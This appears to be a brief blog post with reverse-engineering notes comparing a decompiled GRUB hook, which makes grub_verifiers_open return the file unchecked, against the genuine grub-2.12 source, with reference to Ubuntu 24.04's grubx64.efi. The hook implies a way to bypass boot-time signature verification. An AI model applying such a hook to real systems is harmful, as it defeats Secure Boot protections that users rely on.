__int64 __usercall hook_grub_f3__grub_verifiers_open_18000C8B0@<rax>(void *io@<rdi>, int type@<esi>)
{
  return (__int64)io;
}
.text:000000018000C8B0                               hook_grub_f3__grub_verifiers_open_18000C8B0 proc near
.text:000000018000C8B0                                                                       ; DATA XREF: hook_grub_3__grub_verifiers_open_18000E380+8A↓o
.text:000000018000C8B0 48 8B C7                                      mov     rax, rdi
.text:000000018000C8B3 C3                                            retn
.text:000000018000C8B3                               hook_grub_f3__grub_verifiers_open_18000C8B0 endp

grub_verifiers_open grub-2.12 源码

static grub_file_t
grub_verifiers_open (grub_file_t io, enum grub_file_type type)
{
  grub_verified_t verified = NULL;
  struct grub_file_verifier *ver;
  void *context;
  grub_file_t ret = 0;
  grub_err_t err;
  int defer = 0;

  grub_dprintf ("verify", "file: %s type: %d\n", io->name, type);

  if ((type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_SIGNATURE
      || (type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_VERIFY_SIGNATURE
      || (type & GRUB_FILE_TYPE_SKIP_SIGNATURE))
    return io;

  if (io->device->disk &&
      (io->device->disk->dev->id == GRUB_DISK_DEVICE_MEMDISK_ID
       || io->device->disk->dev->id == GRUB_DISK_DEVICE_PROCFS_ID))
    return io;

  FOR_LIST_ELEMENTS(ver, grub_file_verifiers)
    {
      enum grub_verify_flags flags = 0;
      err = ver->init (io, type, &context, &flags);
      if (err)
	goto fail_noclose;
      if (flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
	{
	  defer = 1;
	  continue;
	}
      if (!(flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION))
	break;
    }

  if (!ver)
    {
      if (defer)
	{
	  grub_error (GRUB_ERR_ACCESS_DENIED,
		      N_("verification requested but nobody cares: %s"), io->name);
	  goto fail_noclose;
	}

      /* No verifiers wanted to verify. Just return underlying file. */
      return io;
    }

  ret = grub_malloc (sizeof (*ret));
  if (!ret)
    {
      goto fail;
    }
  *ret = *io;

  ret->fs = &verified_fs;
  ret->not_easily_seekable = 0;
  if (ret->size >> (sizeof (grub_size_t) * GRUB_CHAR_BIT - 1))
    {
      grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
		  N_("big file signature isn't implemented yet"));
      goto fail;
    }
  verified = grub_malloc (sizeof (*verified));
  if (!verified)
    {
      goto fail;
    }
  verified->buf = grub_malloc (ret->size);
  if (!verified->buf)
    {
      goto fail;
    }
  if (grub_file_read (io, verified->buf, ret->size) != (grub_ssize_t) ret->size)
    {
      if (!grub_errno)
	grub_error (GRUB_ERR_FILE_READ_ERROR, N_("premature end of file %s"),
		    io->name);
      goto fail;
    }

  err = ver->write (context, verified->buf, ret->size);
  if (err)
    goto fail;

  err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
  if (err)
    goto fail;

  if (ver->close)
    ver->close (context);

  FOR_LIST_ELEMENTS_NEXT(ver, grub_file_verifiers)
    {
      enum grub_verify_flags flags = 0;
      err = ver->init (io, type, &context, &flags);
      if (err)
	goto fail_noclose;
      if (flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION ||
	  /* Verification done earlier. So, we are happy here. */
	  flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
	continue;
      err = ver->write (context, verified->buf, ret->size);
      if (err)
	goto fail;

      err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
      if (err)
	goto fail;

      if (ver->close)
	ver->close (context);
    }

  verified->file = io;
  ret->data = verified;
  return ret;

 fail:
  if (ver->close)
    ver->close (context);
 fail_noclose:
  verified_free (verified);
  grub_free (ret);
  return NULL;
}

other

ubuntu 24.04 Noble grubx64.efi

baramundisoftware/grub2_2024

posted @ 2025-01-05 21:25  DirWangK  阅读(18)  评论(0编辑  收藏  举报